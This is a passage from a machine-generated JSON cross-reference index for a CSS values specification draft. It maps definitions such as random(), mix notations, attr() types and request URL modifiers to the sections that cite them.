notation"},{"refs":[{"id":"ref-for-funcdef-progress\u2466"}],"title":"5.2. \nMedia Query Progress Values: the media-progress() notation"},{"refs":[{"id":"ref-for-funcdef-progress\u2467"},{"id":"ref-for-funcdef-progress\u2468"}],"title":"6.1. \nRepresenting Interpolation Progress: the <progress> type"}],"url":"#funcdef-progress"}, "funcdef-random": {"dfnID":"funcdef-random","dfnText":"random()","external":false,"refSections":[{"refs":[{"id":"ref-for-funcdef-random"}],"title":"8. \nGenerating Random Values"},{"refs":[{"id":"ref-for-funcdef-random\u2460"},{"id":"ref-for-funcdef-random\u2461"},{"id":"ref-for-funcdef-random\u2462"},{"id":"ref-for-funcdef-random\u2463"},{"id":"ref-for-funcdef-random\u2464"},{"id":"ref-for-funcdef-random\u2465"},{"id":"ref-for-funcdef-random\u2466"},{"id":"ref-for-funcdef-random\u2467"},{"id":"ref-for-funcdef-random\u2468"},{"id":"ref-for-funcdef-random\u2460\u24ea"},{"id":"ref-for-funcdef-random\u2460\u2460"}],"title":"8.1. \nGenerating a Random Numeric Value: the random() function"},{"refs":[{"id":"ref-for-funcdef-random\u2460\u2461"},{"id":"ref-for-funcdef-random\u2460\u2462"},{"id":"ref-for-funcdef-random\u2460\u2463"},{"id":"ref-for-funcdef-random\u2460\u2464"}],"title":"8.2. \nPicking a Random Item From a List: the random-item() function"},{"refs":[{"id":"ref-for-funcdef-random\u2460\u2465"},{"id":"ref-for-funcdef-random\u2460\u2466"},{"id":"ref-for-funcdef-random\u2460\u2467"},{"id":"ref-for-funcdef-random\u2460\u2468"},{"id":"ref-for-funcdef-random\u2461\u24ea"}],"title":"8.3. \nGenerating/Caching Random Values: the <random-caching-options> value"},{"refs":[{"id":"ref-for-funcdef-random\u2461\u2460"}],"title":"\nAdditions Since Level 4"}],"url":"#funcdef-random"}, "funcdef-random-item": {"dfnID":"funcdef-random-item","dfnText":"random-item()","external":false,"refSections":[{"refs":[{"id":"ref-for-funcdef-random-item"}],"title":"3.1.1. \nCommas in Function Arguments"},{"refs":[{"id":"ref-for-funcdef-random-item\u2460"}],"title":"8. \nGenerating Random Values"},{"refs":[{"id":"ref-for-funcdef-random-item\u2461"},{"id":"ref-for-funcdef-random-item\u2462"},{"id":"ref-for-funcdef-random-item\u2463"},{"id":"ref-for-funcdef-random-item\u2464"},{"id":"ref-for-funcdef-random-item\u2465"},{"id":"ref-for-funcdef-random-item\u2466"},{"id":"ref-for-funcdef-random-item\u2467"},{"id":"ref-for-funcdef-random-item\u2468"},{"id":"ref-for-funcdef-random-item\u2460\u24ea"},{"id":"ref-for-funcdef-random-item\u2460\u2460"},{"id":"ref-for-funcdef-random-item\u2460\u2461"}],"title":"8.2. \nPicking a Random Item From a List: the random-item() function"},{"refs":[{"id":"ref-for-funcdef-random-item\u2460\u2462"},{"id":"ref-for-funcdef-random-item\u2460\u2463"},{"id":"ref-for-funcdef-random-item\u2460\u2464"}],"title":"8.3. \nGenerating/Caching Random Values: the <random-caching-options> value"},{"refs":[{"id":"ref-for-funcdef-random-item\u2460\u2465"}],"title":"\nAdditions Since Level 4"}],"url":"#funcdef-random-item"}, "funcdef-request-url-modifier-crossorigin": {"dfnID":"funcdef-request-url-modifier-crossorigin","dfnText":"crossorigin","external":false,"refSections":[],"url":"#funcdef-request-url-modifier-crossorigin"}, "funcdef-request-url-modifier-integrity": {"dfnID":"funcdef-request-url-modifier-integrity","dfnText":"integrity","external":false,"refSections":[],"url":"#funcdef-request-url-modifier-integrity"}, "funcdef-request-url-modifier-referrerpolicy": {"dfnID":"funcdef-request-url-modifier-referrerpolicy","dfnText":"referrerpolicy","external":false,"refSections":[],"url":"#funcdef-request-url-modifier-referrerpolicy"}, "funcdef-sibling-count": {"dfnID":"funcdef-sibling-count","dfnText":"sibling-count()","external":false,"refSections":[{"refs":[{"id":"ref-for-funcdef-sibling-count"},{"id":"ref-for-funcdef-sibling-count\u2460"}],"title":"9. \nTree Counting Functions: the sibling-count() and sibling-index() notations"},{"refs":[{"id":"ref-for-funcdef-sibling-count\u2461"}],"title":"\nAdditions Since Level 4"}],"url":"#funcdef-sibling-count"}, "funcdef-sibling-index": {"dfnID":"funcdef-sibling-index","dfnText":"sibling-index()","external":false,"refSections":[{"refs":[{"id":"ref-for-funcdef-sibling-index"}],"title":"7.8. \nConstructing <custom-ident> values: the ident() function"},{"refs":[{"id":"ref-for-funcdef-sibling-index\u2460"},{"id":"ref-for-funcdef-sibling-index\u2461"},{"id":"ref-for-funcdef-sibling-index\u2462"},{"id":"ref-for-funcdef-sibling-index\u2463"}],"title":"9. \nTree Counting Functions: the sibling-count() and sibling-index() notations"},{"refs":[{"id":"ref-for-funcdef-sibling-index\u2464"}],"title":"\nAdditions Since Level 4"}],"url":"#funcdef-sibling-index"}, "funcdef-toggle": {"dfnID":"funcdef-toggle","dfnText":"toggle()","external":false,"refSections":[{"refs":[{"id":"ref-for-funcdef-toggle"},{"id":"ref-for-funcdef-toggle\u2460"},{"id":"ref-for-funcdef-toggle\u2461"},{"id":"ref-for-funcdef-toggle\u2462"},{"id":"ref-for-funcdef-toggle\u2463"},{"id":"ref-for-funcdef-toggle\u2464"},{"id":"ref-for-funcdef-toggle\u2465"},{"id":"ref-for-funcdef-toggle\u2466"},{"id":"ref-for-funcdef-toggle\u2467"},{"id":"ref-for-funcdef-toggle\u2468"},{"id":"ref-for-funcdef-toggle\u2460\u24ea"},{"id":"ref-for-funcdef-toggle\u2460\u2460"},{"id":"ref-for-funcdef-toggle\u2460\u2461"},{"id":"ref-for-funcdef-toggle\u2460\u2462"},{"id":"ref-for-funcdef-toggle\u2460\u2463"}],"title":"7.4. \nToggling Between Values: the toggle() notation"},{"refs":[{"id":"ref-for-funcdef-toggle\u2460\u2464"}],"title":"\nAdditions Since Level 4"}],"url":"#funcdef-toggle"}, "funcdef-transform-mix": {"dfnID":"funcdef-transform-mix","dfnText":"transform-mix()","external":false,"refSections":[{"refs":[{"id":"ref-for-funcdef-transform-mix"},{"id":"ref-for-funcdef-transform-mix\u2460"},{"id":"ref-for-funcdef-transform-mix\u2461"},{"id":"ref-for-funcdef-transform-mix\u2462"},{"id":"ref-for-funcdef-transform-mix\u2463"}],"title":"6.5. \nInterpolated Transform Values: the transform-mix() notation"}],"url":"#funcdef-transform-mix"}, "invalid-at-computed-value-time": {"dfnID":"invalid-at-computed-value-time","dfnText":"invalid at computed-value time","external":false,"refSections":[{"refs":[{"id":"ref-for-invalid-at-computed-value-time"}],"title":"7.2. \nSelecting the First Supported Value: the first-valid() notation"},{"refs":[{"id":"ref-for-invalid-at-computed-value-time\u2460"}],"title":"7.7.1. \nAttribute Value Substitution: the attr() notation"},{"refs":[{"id":"ref-for-invalid-at-computed-value-time\u2461"},{"id":"ref-for-invalid-at-computed-value-time\u2462"},{"id":"ref-for-invalid-at-computed-value-time\u2463"}],"title":"7.7.2. \nSecurity"},{"refs":[{"id":"ref-for-invalid-at-computed-value-time\u2464"},{"id":"ref-for-invalid-at-computed-value-time\u2465"},{"id":"ref-for-invalid-at-computed-value-time\u2466"}],"title":"7.7.3. \nCycles"},{"refs":[{"id":"ref-for-invalid-at-computed-value-time\u2467"},{"id":"ref-for-invalid-at-computed-value-time\u2468"},{"id":"ref-for-invalid-at-computed-value-time\u2460\u24ea"}],"title":"\nAppendix A: Arbitrary Substitution Functions"},{"refs":[{"id":"ref-for-invalid-at-computed-value-time\u2460\u2460"}],"title":"\nInvalid Substitution"}],"url":"#invalid-at-computed-value-time"}, "mix-end-value": {"dfnID":"mix-end-value","dfnText":"mix end value","external":false,"refSections":[{"refs":[{"id":"ref-for-mix-end-value"}],"title":"6. \nMixing and Interpolation Notations: the *-mix() family"},{"refs":[{"id":"ref-for-mix-end-value\u2460"}],"title":"6.6. \nInterpolated Property Values: the mix() notation"}],"url":"#mix-end-value"}, "mix-notations": {"dfnID":"mix-notations","dfnText":"mix notations","external":false,"refSections":[{"refs":[{"id":"ref-for-mix-notations"}],"title":"5. \nInterpolation Progress Functional Notations"},{"refs":[{"id":"ref-for-mix-notations\u2460"}],"title":"6. \nMixing and Interpolation Notations: the *-mix() family"},{"refs":[{"id":"ref-for-mix-notations\u2461"}],"title":"6.1. \nRepresenting Interpolation Progress: the <progress> type"},{"refs":[{"id":"ref-for-mix-notations\u2462"}],"title":"6.2. \nInterpolated Numeric and Dimensional Values: the calc-mix() notation"},{"refs":[{"id":"ref-for-mix-notations\u2463"},{"id":"ref-for-mix-notations\u2464"}],"title":"6.3. \nInterpolated Color Values: the color-mix() notation"},{"refs":[{"id":"ref-for-mix-notations\u2465"},{"id":"ref-for-mix-notations\u2466"}],"title":"6.4. \nInterpolated Image Values: the cross-fade() notation"},{"refs":[{"id":"ref-for-mix-notations\u2467"}],"title":"6.5. \nInterpolated Transform Values: the transform-mix() notation"},{"refs":[{"id":"ref-for-mix-notations\u2468"},{"id":"ref-for-mix-notations\u2460\u24ea"},{"id":"ref-for-mix-notations\u2460\u2460"}],"title":"6.6. \nInterpolated Property Values: the mix() notation"}],"url":"#mix-notations"}, "mix-progress-value": {"dfnID":"mix-progress-value","dfnText":"mix progress value","external":false,"refSections":[{"refs":[{"id":"ref-for-mix-progress-value"},{"id":"ref-for-mix-progress-value\u2460"},{"id":"ref-for-mix-progress-value\u2461"},{"id":"ref-for-mix-progress-value\u2462"},{"id":"ref-for-mix-progress-value\u2463"}],"title":"6.1. \nRepresenting Interpolation Progress: the <progress> type"},{"refs":[{"id":"ref-for-mix-progress-value\u2464"}],"title":"6.6. \nInterpolated Property Values: the mix() notation"}],"url":"#mix-progress-value"}, "mix-start-value": {"dfnID":"mix-start-value","dfnText":"mix start value","external":false,"refSections":[{"refs":[{"id":"ref-for-mix-start-value"}],"title":"6. \nMixing and Interpolation Notations: the *-mix() family"},{"refs":[{"id":"ref-for-mix-start-value\u2460"}],"title":"6.6. \nInterpolated Property Values: the mix() notation"}],"url":"#mix-start-value"}, "non-strict-comma-containing-production": {"dfnID":"non-strict-comma-containing-production","dfnText":"non-strict comma-containing production","external":false,"refSections":[{"refs":[{"id":"ref-for-non-strict-comma-containing-production"}],"title":"3.1.1. \nCommas in Function Arguments"}],"url":"#non-strict-comma-containing-production"}, "parse-with-a-syntax": {"dfnID":"parse-with-a-syntax","dfnText":"parse with a <syntax>","external":false,"refSections":[{"refs":[{"id":"ref-for-parse-with-a-syntax"}],"title":"3.3.1. \nParsing as <syntax>"},{"refs":[{"id":"ref-for-parse-with-a-syntax\u2460"}],"title":"7.7.1. \nAttribute Value Substitution: the attr() notation"},{"refs":[{"id":"ref-for-parse-with-a-syntax\u2461"}],"title":"7.7.3. \nCycles"}],"url":"#parse-with-a-syntax"}, "pending-substitution-value": {"dfnID":"pending-substitution-value","dfnText":"pending-substitution value","external":false,"refSections":[{"refs":[{"id":"ref-for-pending-substitution-value"},{"id":"ref-for-pending-substitution-value\u2460"},{"id":"ref-for-pending-substitution-value\u2461"}],"title":"\nSubstitution in Shorthand Properties"}],"url":"#pending-substitution-value"}, "progress-end-value": {"dfnID":"progress-end-value","dfnText":"progress end value","external":false,"refSections":[{"refs":[{"id":"ref-for-progress-end-value"},{"id":"ref-for-progress-end-value\u2460"},{"id":"ref-for-progress-end-value\u2461"},{"id":"ref-for-progress-end-value\u2462"}],"title":"5. \nInterpolation Progress Functional Notations"},{"refs":[{"id":"ref-for-progress-end-value\u2463"},{"id":"ref-for-progress-end-value\u2464"}],"title":"5.1. \nCalculated Progress Values: the progress() notation"},{"refs":[{"id":"ref-for-progress-end-value\u2465"},{"id":"ref-for-progress-end-value\u2466"},{"id":"ref-for-progress-end-value\u2467"},{"id":"ref-for-progress-end-value\u2468"}],"title":"5.2. \nMedia Query Progress Values: the media-progress() notation"},{"refs":[{"id":"ref-for-progress-end-value\u2460\u24ea"},{"id":"ref-for-progress-end-value\u2460\u2460"},{"id":"ref-for-progress-end-value\u2460\u2461"}],"title":"5.3. \nContainer Query Progress Values: the container-progress() notation"}],"url":"#progress-end-value"}, "progress-start-value": {"dfnID":"progress-start-value","dfnText":"progress start value","external":false,"refSections":[{"refs":[{"id":"ref-for-progress-start-value"},{"id":"ref-for-progress-start-value\u2460"},{"id":"ref-for-progress-start-value\u2461"},{"id":"ref-for-progress-start-value\u2462"},{"id":"ref-for-progress-start-value\u2463"}],"title":"5. \nInterpolation Progress Functional Notations"},{"refs":[{"id":"ref-for-progress-start-value\u2464"},{"id":"ref-for-progress-start-value\u2465"}],"title":"5.1. \nCalculated Progress Values: the progress() notation"},{"refs":[{"id":"ref-for-progress-start-value\u2466"},{"id":"ref-for-progress-start-value\u2467"},{"id":"ref-for-progress-start-value\u2468"},{"id":"ref-for-progress-start-value\u2460\u24ea"}],"title":"5.2. \nMedia Query Progress Values: the media-progress() notation"},{"refs":[{"id":"ref-for-progress-start-value\u2460\u2460"},{"id":"ref-for-progress-start-value\u2460\u2461"},{"id":"ref-for-progress-start-value\u2460\u2462"}],"title":"5.3. \nContainer Query Progress Values: the container-progress() notation"}],"url":"#progress-start-value"}, "progress-value": {"dfnID":"progress-value","dfnText":"progress value","external":false,"refSections":[{"refs":[{"id":"ref-for-progress-value"},{"id":"ref-for-progress-value\u2460"},{"id":"ref-for-progress-value\u2461"}],"title":"5. \nInterpolation Progress Functional Notations"},{"refs":[{"id":"ref-for-progress-value\u2462"},{"id":"ref-for-progress-value\u2463"}],"title":"5.1. \nCalculated Progress Values: the progress() notation"},{"refs":[{"id":"ref-for-progress-value\u2464"},{"id":"ref-for-progress-value\u2465"}],"title":"5.2. \nMedia Query Progress Values: the media-progress() notation"},{"refs":[{"id":"ref-for-progress-value\u2466"}],"title":"5.3. \nContainer Query Progress Values: the container-progress() notation"}],"url":"#progress-value"}, "propdef-interpolate-size": {"dfnID":"propdef-interpolate-size","dfnText":"interpolate-size","external":false,"refSections":[{"refs":[{"id":"ref-for-propdef-interpolate-size"},{"id":"ref-for-propdef-interpolate-size\u2460"},{"id":"ref-for-propdef-interpolate-size\u2461"},{"id":"ref-for-propdef-interpolate-size\u2462"}],"title":"10.4. \nInterpolating sizing keywords: the interpolate-size property"},{"refs":[{"id":"ref-for-propdef-interpolate-size\u2463"}],"title":"\nAdditions Since Level 4"}],"url":"#propdef-interpolate-size"}, "random-caching-key": {"dfnID":"random-caching-key","dfnText":"random-caching key","external":false,"refSections":[{"refs":[{"id":"ref-for-random-caching-key"},{"id":"ref-for-random-caching-key\u2460"},{"id":"ref-for-random-caching-key\u2461"},{"id":"ref-for-random-caching-key\u2462"},{"id":"ref-for-random-caching-key\u2463"},{"id":"ref-for-random-caching-key\u2464"},{"id":"ref-for-random-caching-key\u2465"}],"title":"8.3. \nGenerating/Caching Random Values: the <random-caching-options> value"}],"url":"#random-caching-key"}, "resolve-an-arbitrary-substitution-function": {"dfnID":"resolve-an-arbitrary-substitution-function","dfnText":"resolve an arbitrary substitution function","external":false,"refSections":[{"refs":[{"id":"ref-for-resolve-an-arbitrary-substitution-function"}],"title":"7.3. \nConditional Value Selection: the if() notation"},{"refs":[{"id":"ref-for-resolve-an-arbitrary-substitution-function\u2460"}],"title":"7.6. \nInherited Value References: the inherit() notation"},{"refs":[{"id":"ref-for-resolve-an-arbitrary-substitution-function\u2461"}],"title":"7.7.1. \nAttribute Value Substitution: the attr() notation"}],"url":"#resolve-an-arbitrary-substitution-function"}, "resolve-an-attr-function": {"dfnID":"resolve-an-attr-function","dfnText":"resolve an attr() function","external":false,"refSections":[],"url":"#resolve-an-attr-function"}, "resolve-an-if-function": {"dfnID":"resolve-an-if-function","dfnText":"resolve an if() function","external":false,"refSections":[],"url":"#resolve-an-if-function"}, "resolve-an-inherit-function": {"dfnID":"resolve-an-inherit-function","dfnText":"resolve an inherit() function","external":false,"refSections":[],"url":"#resolve-an-inherit-function"}, "substitute-arbitrary-substitution-function": {"dfnID":"substitute-arbitrary-substitution-function","dfnText":"substitute arbitrary substitution functions","external":false,"refSections":[{"refs":[{"id":"ref-for-substitute-arbitrary-substitution-function"}],"title":"3.3.1. \nParsing as <syntax>"},{"refs":[{"id":"ref-for-substitute-arbitrary-substitution-function\u2460"}],"title":"7.7. \nAttribute References: the attr() notation"},{"refs":[{"id":"ref-for-substitute-arbitrary-substitution-function\u2461"},{"id":"ref-for-substitute-arbitrary-substitution-function\u2462"},{"id":"ref-for-substitute-arbitrary-substitution-function\u2463"},{"id":"ref-for-substitute-arbitrary-substitution-function\u2464"},{"id":"ref-for-substitute-arbitrary-substitution-function\u2465"}],"title":"\nAppendix A: Arbitrary Substitution Functions"},{"refs":[{"id":"ref-for-substitute-arbitrary-substitution-function\u2466"}],"title":"\nInvalid Substitution"},{"refs":[{"id":"ref-for-substitute-arbitrary-substitution-function\u2467"},{"id":"ref-for-substitute-arbitrary-substitution-function\u2468"},{"id":"ref-for-substitute-arbitrary-substitution-function\u2460\u24ea"}],"title":"\nSubstitution in Shorthand Properties"}],"url":"#substitute-arbitrary-substitution-function"}, "substitute-into-a-calc-size-calculation": {"dfnID":"substitute-into-a-calc-size-calculation","dfnText":"substitute into a calc-size calculation","external":false,"refSections":[{"refs":[{"id":"ref-for-substitute-into-a-calc-size-calculation"},{"id":"ref-for-substitute-into-a-calc-size-calculation\u2460"},{"id":"ref-for-substitute-into-a-calc-size-calculation\u2461"},{"id":"ref-for-substitute-into-a-calc-size-calculation\u2462"}],"title":"10.1. \nSimplifying calc-size()"}],"url":"#substitute-into-a-calc-size-calculation"}, "typedef-attr-name": {"dfnID":"typedef-attr-name","dfnText":"<attr-name>","external":false,"refSections":[{"refs":[{"id":"ref-for-typedef-attr-name"},{"id":"ref-for-typedef-attr-name\u2460"},{"id":"ref-for-typedef-attr-name\u2461"},{"id":"ref-for-typedef-attr-name\u2462"}],"title":"7.7. \nAttribute References: the attr() notation"}],"url":"#typedef-attr-name"}, "typedef-attr-type": {"dfnID":"typedef-attr-type","dfnText":"<attr-type>","external":false,"refSections":[{"refs":[{"id":"ref-for-typedef-attr-type"},{"id":"ref-for-typedef-attr-type\u2460"}],"title":"7.7. \nAttribute References: the attr() notation"},{"refs":[{"id":"ref-for-typedef-attr-type\u2461"}],"title":"7.8. \nConstructing <custom-ident> values: the ident() function"}],"url":"#typedef-attr-type"}, "typedef-attr-unit": {"dfnID":"typedef-attr-unit","dfnText":"<attr-unit>","external":false,"refSections":[{"refs":[{"id":"ref-for-typedef-attr-unit"},{"id":"ref-for-typedef-attr-unit\u2460"}],"title":"7.7. \nAttribute References: the attr() notation"}],"url":"#typedef-attr-unit"}, "typedef-boolean-expr": {"dfnID":"typedef-boolean-expr","dfnText":"<boolean-expr>","external":false,"refSections":[{"refs":[{"id":"ref-for-typedef-boolean-expr\u2460"}],"title":"3. \nValue Definition Syntax"},{"refs":[{"id":"ref-for-typedef-boolean-expr\u2462"}],"title":"3.2. \nBoolean Expression Multiplier <boolean-expr[]>"},{"refs":[{"id":"ref-for-typedef-boolean-expr\u2468"}],"title":"7.3. \nConditional Value Selection: the if() notation"}],"url":"#typedef-boolean-expr"}, "typedef-calc-mix": {"dfnID":"typedef-calc-mix","dfnText":"<calc-mix()>","external":false,"refSections":[],"url":"#typedef-calc-mix"}, "typedef-calc-size-basis": {"dfnID":"typedef-calc-size-basis","dfnText":"<calc-size-basis>","external":false,"refSections":[{"refs":[{"id":"ref-for-typedef-calc-size-basis"}],"title":"10. \nCalculating With Intrinsic Sizes: the calc-size() function"}],"url":"#typedef-calc-size-basis"}, "typedef-container-progress": {"dfnID":"typedef-container-progress","dfnText":"<container-progress()>","external":false,"refSections":[],"url":"#typedef-container-progress"}, "typedef-first-valid": {"dfnID":"typedef-first-valid","dfnText":"<first-valid()>","external":false,"refSections":[],"url":"#typedef-first-valid"}, "typedef-ident-arg": {"dfnID":"typedef-ident-arg","dfnText":"<ident-arg>","external":false,"refSections":[{"refs":[{"id":"ref-for-typedef-ident-arg"},{"id":"ref-for-typedef-ident-arg\u2460"}],"title":"7.8. \nConstructing <custom-ident> values: the ident() function"}],"url":"#typedef-ident-arg"}, "typedef-if": {"dfnID":"typedef-if","dfnText":"<if()>","external":false,"refSections":[],"url":"#typedef-if"}, "typedef-if-condition": {"dfnID":"typedef-if-condition","dfnText":"<if-condition>","external":false,"refSections":[{"refs":[{"id":"ref-for-typedef-if-condition"},{"id":"ref-for-typedef-if-condition\u2460"},{"id":"ref-for-typedef-if-condition\u2461"},{"id":"ref-for-typedef-if-condition\u2462"}],"title":"7.3. \nConditional Value Selection: the if() notation"}],"url":"#typedef-if-condition"}, "typedef-if-test": {"dfnID":"typedef-if-test","dfnText":"<if-test>","external":false,"refSections":[{"refs":[{"id":"ref-for-typedef-if-test"}],"title":"7.3. \nConditional Value Selection: the if() notation"}],"url":"#typedef-if-test"}, "typedef-inherit": {"dfnID":"typedef-inherit","dfnText":"<inherit()>","external":false,"refSections":[],"url":"#typedef-inherit"}, "typedef-intrinsic-size-keyword": {"dfnID":"typedef-intrinsic-size-keyword","dfnText":"<intrinsic-size-keyword>","external":false,"refSections":[{"refs":[{"id":"ref-for-typedef-intrinsic-size-keyword"}],"title":"10. \nCalculating With Intrinsic Sizes: the calc-size() function"},{"refs":[{"id":"ref-for-typedef-intrinsic-size-keyword\u2460"}],"title":"10.3. \nInterpolating calc-size()"},{"refs":[{"id":"ref-for-typedef-intrinsic-size-keyword\u2461"},{"id":"ref-for-typedef-intrinsic-size-keyword\u2462"},{"id":"ref-for-typedef-intrinsic-size-keyword\u2463"},{"id":"ref-for-typedef-intrinsic-size-keyword\u2464"}],"title":"10.4. \nInterpolating sizing keywords: the interpolate-size property"}],"url":"#typedef-intrinsic-size-keyword"}, "typedef-media-progress": {"dfnID":"typedef-media-progress","dfnText":"<media-progress()>","external":false,"refSections":[],"url":"#typedef-media-progress"}, "typedef-mix": {"dfnID":"typedef-mix","dfnText":"<mix()>","external":false,"refSections":[],"url":"#typedef-mix"}, "typedef-position": {"dfnID":"typedef-position","dfnText":"<position>","external":false,"refSections":[{"refs":[{"id":"ref-for-typedef-position"},{"id":"ref-for-typedef-position\u2460"},{"id":"ref-for-typedef-position\u2461"},{"id":"ref-for-typedef-position\u2462"},{"id":"ref-for-typedef-position\u2463"}],"title":"4.2. \n2D Positioning: the <position> type"},{"refs":[{"id":"ref-for-typedef-position\u2464"},{"id":"ref-for-typedef-position\u2465"},{"id":"ref-for-typedef-position\u2466"},{"id":"ref-for-typedef-position\u2467"},{"id":"ref-for-typedef-position\u2468"}],"title":"4.2.1. \nParsing <position>"},{"refs":[{"id":"ref-for-typedef-position\u2460\u24ea"},{"id":"ref-for-typedef-position\u2460\u2460"},{"id":"ref-for-typedef-position\u2460\u2461"},{"id":"ref-for-typedef-position\u2460\u2462"},{"id":"ref-for-typedef-position\u2460\u2463"}],"title":"4.2.2. \nSerializing <position>"},{"refs":[{"id":"ref-for-typedef-position\u2460\u2464"},{"id":"ref-for-typedef-position\u2460\u2465"},{"id":"ref-for-typedef-position\u2460\u2466"}],"title":"4.2.3. \nCombination of <position>"},{"refs":[{"id":"ref-for-typedef-position\u2460\u2467"}],"title":"\nChanges"},{"refs":[{"id":"ref-for-typedef-position\u2460\u2468"}],"title":"\nAdditions Since Level 4"}],"url":"#typedef-position"}, "typedef-position-four": {"dfnID":"typedef-position-four","dfnText":"<position-four>","external":false,"refSections":[{"refs":[{"id":"ref-for-typedef-position-four"},{"id":"ref-for-typedef-position-four\u2460"},{"id":"ref-for-typedef-position-four\u2461"}],"title":"4.2. \n2D Positioning: the <position> type"}],"url":"#typedef-position-four"}, "typedef-position-one": {"dfnID":"typedef-position-one","dfnText":"<position-one>","external":false,"refSections":[{"refs":[{"id":"ref-for-typedef-position-one"},{"id":"ref-for-typedef-position-one\u2460"},{"id":"ref-for-typedef-position-one\u2461"}],"title":"4.2. \n2D Positioning: the <position> type"}],"url":"#typedef-position-one"}, "typedef-position-two": {"dfnID":"typedef-position-two","dfnText":"<position-two>","external":false,"refSections":[{"refs":[{"id":"ref-for-typedef-position-two"},{"id":"ref-for-typedef-position-two\u2460"},{"id":"ref-for-typedef-position-two\u2461"}],"title":"4.2. \n2D Positioning: the <position> type"}],"url":"#typedef-position-two"}, "typedef-progress": {"dfnID":"typedef-progress","dfnText":"<progress>","external":false,"refSections":[{"refs":[{"id":"ref-for-typedef-progress"},{"id":"ref-for-typedef-progress\u2460"}],"title":"6. \nMixing and Interpolation Notations: the *-mix() family"},{"refs":[{"id":"ref-for-typedef-progress\u2461"},{"id":"ref-for-typedef-progress\u2462"},{"id":"ref-for-typedef-progress\u2463"},{"id":"ref-for-typedef-progress\u2464"},{"id":"ref-for-typedef-progress\u2465"},{"id":"ref-for-typedef-progress\u2466"}],"title":"6.1. \nRepresenting Interpolation Progress: the <progress> type"},{"refs":[{"id":"ref-for-typedef-progress\u2467"},{"id":"ref-for-typedef-progress\u2468"},{"id":"ref-for-typedef-progress\u2460\u24ea"},{"id":"ref-for-typedef-progress\u2460\u2460"},{"id":"ref-for-typedef-progress\u2460\u2461"}],"title":"6.2. \nInterpolated Numeric and Dimensional Values: the calc-mix() notation"},{"refs":[{"id":"ref-for-typedef-progress\u2460\u2462"},{"id":"ref-for-typedef-progress\u2460\u2463"},{"id":"ref-for-typedef-progress\u2460\u2464"}],"title":"6.3. \nInterpolated Color Values: the color-mix() notation"},{"refs":[{"id":"ref-for-typedef-progress\u2460\u2465"},{"id":"ref-for-typedef-progress\u2460\u2466"}],"title":"6.4. \nInterpolated Image Values: the cross-fade() notation"},{"refs":[{"id":"ref-for-typedef-progress\u2460\u2467"},{"id":"ref-for-typedef-progress\u2460\u2468"},{"id":"ref-for-typedef-progress\u2461\u24ea"},{"id":"ref-for-typedef-progress\u2461\u2460"}],"title":"6.5. \nInterpolated Transform Values: the transform-mix() notation"},{"refs":[{"id":"ref-for-typedef-progress\u2461\u2461"},{"id":"ref-for-typedef-progress\u2461\u2462"},{"id":"ref-for-typedef-progress\u2461\u2463"},{"id":"ref-for-typedef-progress\u2461\u2464"}],"title":"6.6. \nInterpolated Property Values: the mix() notation"}],"url":"#typedef-progress"}, "typedef-progress-fn": {"dfnID":"typedef-progress-fn","dfnText":"<progress()>","external":false,"refSections":[],"url":"#typedef-progress-fn"}, "typedef-random-caching-options": {"dfnID":"typedef-random-caching-options","dfnText":"<random-caching-options>","external":false,"refSections":[{"refs":[{"id":"ref-for-typedef-random-caching-options"}],"title":"3.1.1. \nCommas in Function Arguments"},{"refs":[{"id":"ref-for-typedef-random-caching-options\u2460"},{"id":"ref-for-typedef-random-caching-options\u2461"},{"id":"ref-for-typedef-random-caching-options\u2462"},{"id":"ref-for-typedef-random-caching-options\u2463"}],"title":"8.1. \nGenerating a Random Numeric Value: the random() function"},{"refs":[{"id":"ref-for-typedef-random-caching-options\u2464"},{"id":"ref-for-typedef-random-caching-options\u2465"},{"id":"ref-for-typedef-random-caching-options\u2466"},{"id":"ref-for-typedef-random-caching-options\u2467"}],"title":"8.2. \nPicking a Random Item From a List: the random-item() function"},{"refs":[{"id":"ref-for-typedef-random-caching-options\u2468"},{"id":"ref-for-typedef-random-caching-options\u2460\u24ea"},{"id":"ref-for-typedef-random-caching-options\u2460\u2460"},{"id":"ref-for-typedef-random-caching-options\u2460\u2461"},{"id":"ref-for-typedef-random-caching-options\u2460\u2462"}],"title":"8.3. \nGenerating/Caching Random Values: the <random-caching-options> value"}],"url":"#typedef-random-caching-options"}, "typedef-request-url-modifier": {"dfnID":"typedef-request-url-modifier","dfnText":"<request-url-modifier>","external":false,"refSections":[{"refs":[{"id":"ref-for-typedef-request-url-modifier"},{"id":"ref-for-typedef-request-url-modifier\u2460"},{"id":"ref-for-typedef-request-url-modifier\u2461"},{"id":"ref-for-typedef-request-url-modifier\u2462"}],"title":"4.1.1. \nRequest URL Modifiers"}],"url":"#typedef-request-url-modifier"}, "typedef-request-url-modifier-crossorigin-modifier": {"dfnID":"typedef-request-url-modifier-crossorigin-modifier","dfnText":"<crossorigin-modifier>","external":false,"refSections":[{"refs":[{"id":"ref-for-typedef-request-url-modifier-crossorigin-modifier"},{"id":"ref-for-typedef-request-url-modifier-crossorigin-modifier\u2460"},{"id":"ref-for-typedef-request-url-modifier-crossorigin-modifier\u2461"}],"title":"4.1.1. \nRequest URL Modifiers"}],"url":"#typedef-request-url-modifier-crossorigin-modifier"}, "typedef-request-url-modifier-integrity-modifier": {"dfnID":"typedef-request-url-modifier-integrity-modifier","dfnText":"<integrity-modifier>","external":false,"refSections":[{"refs":[{"id":"ref-for-typedef-request-url-modifier-integrity-modifier"},{"id":"ref-for-typedef-request-url-modifier-integrity-modifier\u2460"},{"id":"ref-for-typedef-request-url-modifier-integrity-modifier\u2461"}],"title":"4.1.1. \nRequest URL Modifiers"}],"url":"#typedef-request-url-modifier-integrity-modifier"}, "typedef-request-url-modifier-referrerpolicy-modifier": {"dfnID":"typedef-request-url-modifier-referrerpolicy-modifier","dfnText":"<referrerpolicy-modifier>","external":false,"refSections":[{"refs":[{"id":"ref-for-typedef-request-url-modifier-referrerpolicy-modifier"},{"id":"ref-for-typedef-request-url-modifier-referrerpolicy-modifier\u2460"},{"id":"ref-for-typedef-request-url-modifier-referrerpolicy-modifier\u2461"}],"title":"4.1.1. \nRequest URL Modifiers"}],"url":"#typedef-request-url-modifier-referrerpolicy-modifier"}, "typedef-syntax": 